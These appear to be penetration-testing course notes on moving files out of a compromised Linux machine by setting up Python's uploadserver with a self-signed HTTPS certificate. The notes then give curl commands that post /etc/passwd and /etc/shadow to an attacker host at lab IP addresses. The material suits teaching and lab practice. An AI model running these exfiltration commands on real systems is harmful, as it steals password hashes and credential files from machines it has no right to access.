As mentioned in the Windows File Transfer Methods section, we can use uploadserver, an extended module of the Python HTTP.Server module, which includes a file upload page. For this Linux example, let's see how we can configure the uploadserver module to use HTTPS for secure communication.
sudo python3 -m pip install --user uploadserver
we need to create a certificate. In this example, we are using a self-signed certificate.
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
The webserver should not host the certificate. We recommend creating a new directory to host the file for our webserver.
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
Now from our compromised machine, let's upload the /etc/passwd and /etc/shadow files.
curl -X POST <https://192.168.49.128/upload> -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
curl -X POST https://10.10.14.136/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
We used the option --insecure because we used a self-signed certificate that we trust